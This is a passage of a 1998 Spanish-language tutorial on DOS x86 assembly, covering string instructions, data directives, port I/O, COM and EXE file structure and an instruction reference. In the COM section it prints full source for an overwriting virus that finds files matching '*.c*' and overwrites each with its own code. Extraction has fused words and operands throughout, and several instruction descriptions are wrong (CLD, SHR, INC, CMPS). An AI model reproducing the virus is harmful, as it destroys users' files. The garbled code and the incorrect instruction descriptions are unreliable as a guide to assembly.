  • 35. XCHG reg,reg( XCHG AX,BX) XCHG mem,regoreg,mem( XCHG AX,Wordptr 0000:0084h ) 10.-2.- LEA "Load Effective Adress",sirveal usarcomo punteroa DX (recordemos, al hacerque apuntase hacia unoffsetque nosinteresaba),ycomo sustituyenteal MOV enestoscasos especialmente. Imaginemosque el offsetal que queremosapuntaresSunset+bp-si,osea, el lugardonde estála etiqueta"Sunset"másel valorde bp menosel de si. Si lo hiciésemosconmovsquedaríaasí: MOV dx,OFFSETsunset ADD dx,bp SUB dx,si La ordenLEA integraestasoperaciones: LEA dx,[Sunset+Bp-Si] Pudiendousarenel operandocualquierdirecciónde memoriaypudiendo sumrsele registros. 10.-3.- LDS y LES El punteroanteriormente utilizadonospuede servirmuchosi loque pretendemoslocalizarse hallaenel mismosegmentoque el programa,pero si está enotro lugar,tendremostambiénque averiguarde algunamanerasu segmento.Paraestose usanLDS y LES. Teniendolamismasintaxisque LEA,aunque pudiendoponerunregistro de segmento,(porejemplo,LeaSI,CS:[DI+3]),susresultadossonligeramente diferentes. Ademásde ponerse enel operandodestino(SIenel ejemploanterior) el DesplazamientouOffset,el Segmentoindicadoenel operandoorigenquedará enDS o ES segúnlaordenseaLDS o LES. Por ejemplo,si hacemos: LDS DX,0000:[DI-23]
  • 36. En DX quedarála direcciónala que apuntaDI-23, y en DS quedará0000, el segmentoenque se encuentra. Igualmente sucederáenES: LES SI,3342h:[Bp] SI valdrá BP, y ES tomará el valorde 3342h. 10.-4.- DELAYs A vecesnospuede interesarperderalgode tiempo,yestaordentiene más utilidades:eslaordenREP(repeat).Se repite,y cada vezque lo hace disminuye CXenunaunidad.Se usaespecialmentepara órdenescomoMovsb,etc.,que vienenahora.Perosimplemente hayque entenderque si hacemos: Mov CX,300h Rep La ordenrepse repite 300h veces,ycuandola superaCXvale 0. 10.-5.- INSTRUCCIONES DE CADENA Son unsubconjuntode instruccionesmuyútilesparadiversasfunciones: inicializarzonasde memoria,copiardatosde unazonaa otra,encontrar valoresdeterminadosocompararcadenas,etc.,etc. Su comportamientodepende del flagde direccióndel que hablábamosunas leccionesmásatrás,y que se puede cambiardirectamente conestasdos instrucciones: STD: SeT Directionflag,lopone auno. CLD: CLear Directionflag,lopone acero. Las instruccionesque vamosausar como de cadenasiempre tienenunaS de Stringal final,ycasi siempre ademásunaBo una W indicandoByte o Word (el tamaño). Y estas son: LODSB/LODSW Lee un byte/palabraenladirecciónde memoriadadaporDS:SIy la
  • 37. almacenadependiendode sutamañoenAL o AX.Si el flagde direcciónestá a cero, segúnseabyte o palabra,SIaumentaráen 1 o 2 unidades(para podercontinuarlaoperaciónde lectura).Si estáa uno el flag,se decrementaráen1 o 2 unidadesdependiendodel tamaño(byte/palabra) STOSB/STOSW Es el equivalente a"grabar"si loanteriorera"cargar". Almacenaráel contenidode ALo AX(como siempre,dependiendodel tamaño) enES:DI, copiandosegúnsi esB o W unoo dos bytescada vezque se ejecute. Si el flag de direcciónestáa cero,DI aumentarácada vezque se realice laordenenuna o dosunidades(dependiendodel tamaño,BoW ). Si está a uno,decrecerá. MOVSB/MOVSW Mueve el byte o palabracontenidoenladirecciónde memoriaala que apuntaDS:SI a la direcciónde memoriade ES:DI. Si el flag de direcciónestáa 0, con cada MOVS que realicemosSIyDI aumentaránenuna unidad(MOVSB) odos(MOVSW).Si estáa uno,se decrementaránde igual manera. REP Acabode hablarsobre él.Puesbien,si se utilizacomooperandosuyo una de estasórdenes,larepetiráCXveces.Porejemplo,si queremos copiarla tabla de vectoresde interrupciónaunlugarque hemos reservado: cld ; A asegurarnosde que el flagde direcciónestá. ;a cero. movcx,400h xor dx,dx ;pone dx a 0 pushdx popds ; No está permitidohacerxords,ds,porloque
  • 38. ;metemosdx,que vale 0,enla pila,ysacamos ;DS valiendo0. xor si,si ;SI que valga0. pushcs popes ; Vamosa asegurarnosde que ES valga CS,o sea, ;el segmentoenel que estáel programaahora. movdi,buffer;DI apuntaal lugardonde vamosa guardar la ;tabla. repmovsb ; Repite ‚esto400hveces,y cada vezque lohace ;incrementaDIy SI. int20h ; Acaba la ejecución. buffer:db400h dup (?) ; Esto dejaunespaciode 400h bytesque nos ;va a servirpara almacenarla tablade ;vectoresde interrupción. Podemos,paraempezar,reducirel 400h a 200h enCX,y hacer un repmovsw, con loque trasladaremosde palabraenpalabra lasinstrucciones. 10.-6.- DATOS Acabamosde ver algonuevo.¿Qué‚significaesode 'db'que aparece en el anteriorproblema? El objetivode estaorden,al igual que DWo DD, es dejarespaciopara datosen una determinadazonadel programa,ointroducirlosahí.Voya mostrar algunosejemplos: db 'A saco con todos$' DB se refiere aunbyte de longitud,yse usa,por ejemplo,paraguardar una cadena.Veréisque pongoun$ al final de lacadena:estoha de hacerse siempre,yaque al utilizarinterrupcionesparamostraruna cadenade caracterespor pantalla,el ordenadorlee desde el punto indicadohastael $, que es cuandose para.
  • 39. dw 0ffffh;W de word,palabro...almacenaunnúmeroen ;esaposición db 'A',' ','s','a','c','o' ; Variacionessobre el tema,va ;presentándolocaráctera carácter. db dup5 (90h) Significaque repite 5vecesel caráctero númeroque hayentre paréntesis, o sea,que estocolocaría cinco '90h' en ese sitio. dw dup300h (?) Dejaun espaciode trescientaspalabras(seiscientosbytes)para poderalmacenarcosas.Su contenidonotiene importancia,se tratade lugarde almacenamiento(comoel lugarenel que copiábamoslatablade vectoresenel ejercicioanterior). Tambiénexiste DQ,Define Quadword. 10.-7.- ACCESO A PUERTOS I/O Simplementedescribiré lasinstruccionesque permitenmandaryrecibir datosde ellos;IN yOUT. Los puertossontodosde ocho bits,aunque se puedenusarpalabraspara su lectura.Existen64Kpuertos,osea,el valor máximode cualquierregistrode Offset. IN lee un byte ouna palabra del puertoyloalmacenaenAX/AL,de este modo: IN AL,DX ; Lee del puertoDX y almacenaenAL IN AX,DX; Lee de DX y almacenaenAL el valor,leyendo ;AH desde el puertoDX+1 DX eslo únicoque puede variarsiendootroregistro,nose permite en AX/AL OUT mandaun byte al puerto,pudiéndosehacerasí(mediante el registro AXo AL):
  • 40. OUT DX,AL; Al puertoDX, mandael valorcontenidoenAL OUT DX,AX; A DX manda el contenidode AL,ydespuésen ;el puertoDX+1 envía AH.Obsérvese esta ;peculiaridadtantoaquícomoen el anterior. Comoantes, AL o AXno puedenserotra cosa,DX podría si serotro registro(odirectamente unnúmero). 10.-8.- ANULACIONDE INTERRUPCIONES Hay vecesque necesitamosque mientrasse estáejecutandonuestro códigono se puedanejecutarinterrupciones,debidoaque estamoshaciendo algodelicado,comoporejemplotocandolatablade vectoresde interrupción,ynoqueremosque se ejecuteunainterrupciónque tenemos a mediocambiar. No tendremosmásque ponerlaorden CLI O CLear Interrupts,que loque hace esque hasta que encuentre unaorden STI (SeTInterrupts),nose puedanejecutarinterrupciones. Solofaltanlasestructurasde COM y EXE para que podáisempezar a programar. Es necesariounprogramaensamblador(Tasm, A86,Masm,...recomiendo el primero),ylasInterrupcionesde RalphBrown. .................................................................................................................. 11.- ESTRUCTURA COM Los archivosCOMtienencomomáximo65536 bytesde extensión,que "curiosamente"coincidencon0FFFFh,que esel máximovalorque puede tener un registrode 16 bits. Por lotanto,cualquierdireccióndentrodel COMtendrá encomúnel registrode segmento,yconel de desplazamientose podráaveriguarel lugardonde se encuentracualquiercosaenel archivo. El .COMtiene tambiénunazonanormalmenteque vade 0 a 100h enla
  • 41. que tiene el PSP,zonade datosen laque,entre otrascosas, estála Dta (para trabajarcon ficheros,apartir del Offset80h). Pongoun ejemploahorade cabecera,ydespuésunprogramaCOMcompleto perosencillo. .MODEL TINY; Indicaque espequeñito;) .CODE ; Código ORG 100h ; éstaesla direccióna partirde la ;cual empiezael código,normalmente es ;100h para dejarespacioal PSP Start: jmpEntrada [Datos] Entrada PROC [Codigo] Entrada ENDP END Start Entrada esun procedimientoal que se puede llamarcon,porejemplo,el saltodel principio.Nosonnecesarios.Síhay que cerrar el Start,que abre el programa. Hay más líneasque se puedenponerenlacabecera,comoMODEL, envezde serTINY que sea SMALL por ejemplo,o: CODIGO SEGMENT CODE ASSUME DS:CODIGO ES:CODIGO Lo que abre unsegmentode código(osea,el Com),y hace que los registrosde segmentoapuntenaél.Al final habríaque ponerun: CODIGO ENDS Justoantesdel "END Start" perodespuésde unposible "EntradaENDP" Veamosunejemplode programa.COMenlenguaje Ensamblador.Se trata de un virus,o másbien,algoque podría serun virus,ya que esde tipo sobreescritura.El casoesque al utilizarinterrupciones,seráde pequeñotamaño,ideal paracomentar.
  • 42. virussegment org 100h assume cs:virus; Noesmuy necesario:CSvaa serel ; virus lenequoffsetlast-100h; Nuevaordenque nocoment‚!.Len ;esuna variable que se vaa utilizar ;enel programa, y equse encarga de ;asignarla.Hace que lenvalgala ;direccióndel offsetde "last" ;restándole 100h ( el PSP). Se trata ;del tamañodel programa start: movah,04eh ; En dx estála com_mask,y se va a usarla xor cx,cx ;función4ehde la interrupción21h,que leadx,com_mask;esencontrarel primerarchivodel int21h ;directoriode laformaque hayen la ;direcciónala que apuntadx, o sea,que ;buscar el primerarchivo.c* ( pretende ;encontrarun com ) open_file:movax,3d02h; La función3dabre el archivo,y AL puesto movdx,9eh;a 2 indicaque se abrirá para lecturay int21h ;escritura;a uno indicaríasólolecturapor ;ejemplo.Dx vale 9eh porque esel valor ;de la DTA, donde se contienenlosdatos ;del archivoencontrado. Infect:movcx,len;En cx quedala longituddel virus leadx,start; Y dx apuntaal principiodel virus movah,40h ; La función40h de la Int21h consiste enla int21h ;escrituraenel archivo;cx indicala
  • 43. ;cantidadde bytesa escribir,ydx la ;direcciónapartir de la cual se copian.Por ;lotanto, se copiará todoeste códigoal ;principiodel programaabierto, ;sobreescribiendoloque hubiese ;anteriormente Next:movah,3eh; Cierrael archivo,función3ehde la Int21h int21h movah,4fh ; Busca el siguiente archivo int21h jnbopen_file ;Si loencuentra,saltaa open_file,para ;abrir e infectar. com_mask:db "*.c*",0 ; El 0 del final esnecesariosiempreque se ;operacon archivos. last:db 090h ; Se trata de unbyte para marcar el final ;del virus(parael equdel principio). virusends endstart En resumen,loque hace esbuscar el primerarchivoque cumplaser *.c* del directorio,loinfectaybusca otro.Si lo encuentra,también loinfectará,así hasta que no quede ninguno. Una cosa que ospuede parecercuriosaesque use jnbpara sabersi hay algúnarchivomás enel directorio.Bien,‚estolohace porque cuandoel resultadode lainterrupciónesunerror(comopor ejemploque nohaya ningúnarchivo),el flagde acarreose pone a uno. Portanto, saltacon jnbsi noha habidoningúnfallo. ...................................................................................................................... 12.- ESTRUCTURA EXE
  • 44. Los ficherosEXEtienenunaestructuradiferentealosCom.Aparte de tenerunacabecera especial,puedenocuparmásde un segmento,diferencián- dose segmentosde datos,códigoypila. La cabeceraEXE va como sigue: OffsetDescripción 00 Marca de EXE (MZ = 4D5A). Es obligatorioque estosdosbytessean MZ o ZM, sinono funcionará. 02 Númerode bytesenla últimapáginadel programa. Todas laspáginassonde 512 bytes,menosla últimaque serámenos. 04 Númerototal de páginasde 512 bytes. 06 Númerode elementosde latablade elementosreubicables. 08 Tamaño de la cabeceraenpárrafos de 16 bytes. 0A Mínimo de memoriarequeridoademásde lanecesariaparacargar el programa. 0C Máximode memoriarequerido.Normalmente loslinkadoresponen FFFFhaquí para que el DOS dé toda la memoriadisponibleal programa. 0E SS inicial 10 SP inicial 12 Checksum:complementoa1 de la suma de losvaloresde 16 bitsdel programa,excluidoeste campo. 14 IP inicial 16 CS inicial 18 Offsetde laTabla de Reubicación 1A Númerode Overlaysgenerados.S es0 esun únicoEXE. Vistoesto,simplemente resaltarlosoffset14 y 16, que son CS:IPdel EXE donde empiezalaejecución.Ahorapongounlistadode típico EXE:
  • 45. ; LISTADO DE EJEMPLO DE EXE PILA SEGMENT STACK'STACK' DW 150 DUP (?) ; Ponemos150 palabras( 300 bytes) de ;pila PILA ENDS ; Esto ha sidoel segmentodedicadoa ;la pila DATOSSEGMENT 'DATA' ; Abre ahora el segmentode datos Mensa DB 'Esto esun ejemploEXE$'; El $ al final. DATOSENDS CODIGO SEGMENT 'CODE' ; Vamoscon el de código ASSUME CS:CODIGO,DS:DATOS,SS:PILA Entrada PROC movax,DATOS; Valordel segmentoDATOS movds,ax ; Ahora quedaenDS leadx,mensa;Desplazamientodel mensaje movah,9 ; Servicio9de laint 21h int21h ; Imprime el mensaje movax,4C00h ; Servicio4Ch,retornaal DOS int21h Entrada ENDP ; Cierrael procedimientoEntrada CODIGO ENDS END Entrada ; Findel programa ................................................................................................................. 13.- APENDICE A. JUEGODE INSTRUCCIONES Instrucciones: MnemónicoExplicación AdjustASCIIafterAddition,ajuste ASCIIdespuésde sumar. Esta instrucciónse empleatrassumardos númerosBCDno
  • 46. empaquetadosde dosdígitosconADD AX,reg/mem.Compruebasi el contenidode ALsuperaa nueve,yrealizasi esciertouna operaciónque consiste enrestar10 de AL.AH se incrementa si AL fue superiora 9. ADD Suma al operandodestinoel operandoorigen,almacenando enel operandodestinoel resultado. AAM AjustaASCIIdespuésde multiplicar Convierte el númerobinariode 8bitsen AL enun número BCD no empaquetadode dosdígitosenAX.AL debe sermenor que 100 para que el ajuste proporcione unnúmeroválido. AAS AjustaASCIIdespuésde restar Se empleadespuésde restardosnúmerosBCDnoempaquetados con SUB AX,reg/mem.Compruebasi ALesmayora 9, y si lo es,suma 10 a AL. Si se realizaajuste,el flagde acarreo se activa. ADC AddWith Carry,suma losdosoperandosy el flagde acarreo, almacenandoenel operandodestinoel resultado de la suma ADD ADDition,‚estainstrucciónsumalosdosoperandosy almacenael resultadoenel de destino. AND RealizaunANDlógicoentre losdosoperandosde la instrucción,almacenandoel resultadoenel de destino.
  • 47. CALL EmpujaIP y CS a la pila,ysaltaa la direcciónque indicasuoperando. CBW ConvertByte to Word,copia el bitde mayor pesode AH en cada uno de losde AL CLC ClearCarry Flag,pone el flagde acarreo a cero. CLD ClearDirectionFlag,pone acero el flagde acarreo. CLI ClearInterrupts,pone e flagde interrupciónacero,con loque no se podránhacer llamadasaéstashasta llegara un STI ( Set Interrupts) CMC CoMplementCarryflag,invierteel contenidodel flagde acarreo. CMP Restael operandoorigendel destino,no almacenael resultado,actualizándosesinembargolos flags. CMPS Comparacadenas,puede usarse sinoperandos,encuyocaso tendráque ser CMPSB o CMPSW ( Byte o Word ),o con ellos. Los elementosacomparar estánapuntadosporES:DI y DS:DI CWD ConvertWordto Double Word,lo que hará serácopiar el signode AX,o sea,su byte más significativo,enDX.
  • 48. DAA Decimal AdjustALafterAdittion,se empleatrassumardos númerosBCD empaquetadosde dosdígitosconADD AL,reg/mem. Verificasi el flagde acarreoauxiliarestáa 1 o el contenidode loscuatrobitsmenossignificativosde AL esmayor que 9, en cuyocaso se suma6 a AL. Después compruebasi el flagde acarreo está activadoo el contenido de los4 bitsmás significativosesmayorque 9,en cuyo caso se suma 60h a AL. El flagde acarreo se activa si se ha realizadolasegundaoperación,yel de acarreoauxiliar si se realizólaprimera. DEC Utilizaunoperando,al que decrementaenunaunidad. DIV Divide el acumuladorentre el operando,dejandocociente y resto.El acumuladorseráAXen caso de divisiónde 16 bitsy DX-AXencaso de 32 bits,quedandocociente yresto enAL-AHy AX-DXrespectivamente. ESC ESCape Sirve para pasar el control del procesadoral copro HLT Bloqueael ordenador. IDIV Divisiónparanúmerosconsigno IMUL Multiplicaciónparanúmerosconsigno. IN
  • 49. INputfromport, lee unbyte del puertoque especificael operandoorigenyloalmacenaenAL. Si el operandodestino esAX,almacenaun segundobyte enAH(el operandodestino sólopuede serAXo AL, y el origenDX o un número). INC Incrementael operandoenunbyte,sinmodificarel estado de losflags. INT Llama a la interrupcióndel operando(p.ej.,INT21h) INTO INTerruptiononOverflow,llamaala interrupción4si el flagde desbordamiento (overflow) estáactivado.Encaso de saber con seguridadque noesasí, esun NOPen realidad. IRET InterruptionReturn,sacade lapilaIP y CS y vuelve al sitiodonde se llamóala interrupción(cadavezque ejecutamosunainterrupción,el ordenadorefectúaunaserie de pasos que acaban con este IRET) JMP Puede sercorto,cercano o largo,cambiandoIPy a veces CS con nuevosvalores,osea,transfiriendoel control a otra parte del programa. LAHF CopiaenAH el contenidodel byte menossignificativodel registrode flags. LDS Load Far PointerwithDS,Cargar punterolejanoconDS.Con
  • 50. estainstrucción,se lee unapalabraenla direcciónindicada por el origen,copiándose enel registrodestino,yde nuevo se lee otra,que se almacenaenDS LEA Load Effective Adress,Cargardirecciónefectiva;calcula el offsetdel operandoorigen,yloalmacenaenel destino (bastante útil conetiquetas,porejemplo). LES Load Far PointerwithES;Igual que LDS, sóloque la segundapalabralaalmacenaenES. LOCK Lock the Bus. Se trata de una instrucciónque se usaprecediendoa MOV, MOVSo XCHG, y previene delusodel Busmientrasse ejecutalainstrucciónparaevitarque éste seausadopor algúneventoexterno,interrupciones,etc. LODS LOaD String,cargar cadena. Si no hay operandos,debe de indicarse conBo W, para sabersi se operacon byteso palabras.Carga enel acumuladorel elementoapuntadoporDS:SI,seabyte o palabra. LOOP Bucle,saltaráa la direcciónindicadaensuoperando (porejemplo,LOOPetiqueta),mientrasCXvalgamásde 1; cuandosu valorllegue aceroel bucle dejaráde ejecutarse. MOV
  • 51. Copiael operandoorigenenel destino,pudiéndose realizarestascombinaciones: reg,reg reg,mem mem,reg reg,inmed mem,inmed reg16,segrer regseg,reg16 regseg,mem MOVS MOVe String,movercadena Normalmente,conel operandoB(byte) oW (Word),de maneraque se transfieraunbyte ouna palabra,MOVSB o MOVSW transfierenlocontenidoenDS:SIaES:DI MUL MULtiply,multiplicar. Multiplicael acumuladorporel operando;si el operando puestoenMul esde 16 bits,el acumuladoresAX,si el operandoenMul esde 8 bits,seráAL. NEG Averiguael númeronegativodel operando,osea,invierte su valor.El cálculose realizainvirtiendotodoslosbits y sumandounoal resultado. NOP No OPeration,nohace nada. NOT Invierte losbitsdel operando(1sen0sy viceversa).
  • 52. OR Realizaun 'O' lógicoenlos bitsdel operando,cambiando el valorde estosbits.Comparaunoa uno losbitsde igual significaciónde losoperandos,ydacomo resultado 1 si uno de ellosolosdos estáa uno,o los dosloestán, y 0 si losdos estána 0; por ejemplo: 11100100 OR 00101101 11101101 OUT OUTput to port,Salidaa puerto. Escribe el contenidode AXoAL (losdos únicosoperandos origenque se puedenusarconesta instrucción) enel puertoespecificadoporel operandodestino(DXoun númerodirecto). POP Saca del valoroperandode la pila POPF Saca de lapilael registrode flags PUSH Empujaa lapilael valoroperando PUSHF Empujael registrode flagsa la pila RCL Rotate withCarry Left(Rotar a la izquierdaconacarreo). Copiaencada bitdel operandoel contenidodelque se hallaa su derecha,yen el de menorel contenidodel flag de acarreo; enéste se copia el bitde mayor peso.
  • 53. RCR Rotate withCarry Right(Rotar a la derechaconacarreo). Copiaencada bitdel operandoel contenidodelque se encuentraa suizquierda,yenel bitde mayor pesoel contenidodel flagde acarreo;enel flagde acarreo el bitde menorpeso. REP REPeat Utilizadasinoperandos,repiteunaoperacióntantasveces como el valorde CX, decrementándolocadavez(puede usarse como delay,aunque pocoefectivamente). Se utilizatambiénconoperandoscomoMOVSWpor ejemplo, para realizarCXvecesla operaciónindicada. Existentambiéndosvariantesde estainstrucción;REPE y REPNE (REPeatif Equal,REPeatif NotEqual),atendiendo al estadode losflags. RET RETurn Se utilizaparavolverde una subrutinallamadaconun Call;estaordensaca de lapilael valorde IP,o de IP y CS, para retornaral lugardesde el que se le llamó. ROL ROtate Left Copiaencada bitdel operandoel contenidodelque se hallaa su derecha,copiandoenel bitde menorpesoel contenidodel de mayorpeso. ROR ROtate Right
  • 54. Copiaencada bitdel operandoel contenidodelque se hallaa su izquierda,copiandoenel bitde mayorpesoel contenidodel de menorpeso. SAHF Store AH inFlags,AlmacenarAHen losflags. Copiael contenidode AHenel byte de menorpesodel registrode flags. SAL ShiftAritmeticLeft Su sintaxises[SALdestino,número],mueve losbytesdel registrohaciala izquierda,copiandoencadauno el contenidode aquel que estabaasu derecha.El byte de menorpesose pone a cero, yel mayor se copia enel flag de acarreo. SAR ShiftAritmeticRight Realizalasmismasoperacionesque SAL,peroal revés,o sea,cada bit copiael valordel de su izquierda,el de mayor pesoquedaacero, y el de menorse copia al flag de acarreo. SBB SuBstract withBorrow Restael operandoorigenyel flagde acarreo del operandodestino,almacenádose el resultadoenel operando destino. SCAS SCAnString,Examinarcadena. Se acompaña de una B o W detráscuandono existe operando
  • 55. para indicarel tamaño(Byte o Word). Restael operandodestino,que estáindicadopor ES:DI del acumulador(sinrealizaralmacenamientodel resultado), y enfunciónde elloactualizalosflags. El operandopuede llevarprefijode segmento,que sustituiráaES como prefijodel operandodestino.DIirá incrementándose/decrementándose. SHL SHiftLeft Igual que SAL. SHR SHiftRight Exactamente igual que SAR. STC SeT Carry flag,Activarflagde acarreo Activael flagde acarreo (lopone a uno). STD SeT Directionflag,Activarflagde dirección. Lo pone a uno. STI SeT Interrupts,Activarinterrupciones. Activalasinterrupciones. STOS STOre String Normalmente se usaconB o W al final para indicarel tamaño,byte o palabra(esencialmente si nose especifica ningúnoperando).Sufunciónescopiarel contenidodel acumulador(ALo AX) enES:DI. El operandopuede llevarun
  • 56. prefijode segmento,que se usaráenlugarde ES. SUB SUBstract, resta. El objetivode estainstrucciónconsiste enrestaral operandodestinoel contenidodel origen,conservándose el resultadoeneste operandodestino. TEST TEST, Comparar. Comparamediante unANDlógicolosoperandosorigeny destino;noalmacenalosresultados,perosímodificalos flags. WAIT El ordenadorentraenun estadode espera,que se verá activadocuandoel 'test' inputenel microprocesadorsea activado. XCHG eXCHanGe (intercambiar). Intercambialosvaloresde losregistros,porejemploen un XCHG AX,BX,trasla operaciónBXcontendríaal antiguo AX,y viceversa. XLAT AlmacenaenALun byte de la direcciónde memoriaformadaporDS y la sumade BXy AL. Se puede indicarunoperandopara especificarel segmentoenvezde DS XOR eXclusive OR. RealizaunOR (O) excluyente entre el origenyel destino;comparaunoa uno losbitsde los dosoperandos,
  • 57. resultandoun1 tan sólosi uno y sólounode losdosbits comparadoses1, y ceroen el restode loscasos. Sería así: 11010101 XOR 01011011 10001110 registro,registro ............................................................................................................ 14.- APENDICE B. NUMERACIONNEGATIVA Esta es unaparte del cursoque quizá debierahaberidoantes, peropor su complicaciónparalagente enfase de aprendizaje,he preferido incluirlacomoapéndice. ¿Comose representanmediantelenguajeEnsambladorlosnúmeros negativos? El sistemautilizadoesel denominado“aritméticade complementoados”. Se pasó bastante tiempopensandoencuál seríael métodoideal para realizareste cometido,siendocondiciónprincipal que lassumasyrestas diesenresultadoslógicos;osea,que -x+x sumasen0,por ejemplo. Si al númerobinario00000000 le restamos00000001, el resultadoserá 11111111, ya que enun byte al pasar del númeromásbajoa uno"negativo",sale el númeromásalto. Por tanto,11111111 representaráal '-1', así como 11111110 al -2, y así hasta llegaral 10000000, que seráel -128. El númeroexactamente anterior,el 01111111, seráel 127 entonces,y‚estonospermitirácomprobar cuándoun númeroesnegativotansóloviendosi suprimerbitestáo no a uno. Así visto,éstasseríanalgunasrepresentaciones: 00000001 ---->1 00000011 ---->3
  • 58. 01111111 ---->127 11111111 ---->-1 11111110 ---->-2 10000000 ---->-128 Y vistoesto,¿cuál es lamanera másrápida de saberel valorde un númeronegativo?Esbienfácil;se dala vueltaatodos losbitsdel byte (o de la palabra),yse suma uno:ese seráel número representadosinsigno. Por ejemplo, el número10111011, que sabemosque esnegativo,(si estamos trabajandocon númerosnegativos),porel 1 enel bitde mayor peso: Se le da la vuelta:01000100, o sea,68 decimal,yse le suma 1. Por tanto,el número10111011 cuandotrabajemosconnúmeroscon signoesel -69 © 1998 Javier de Lucas Linares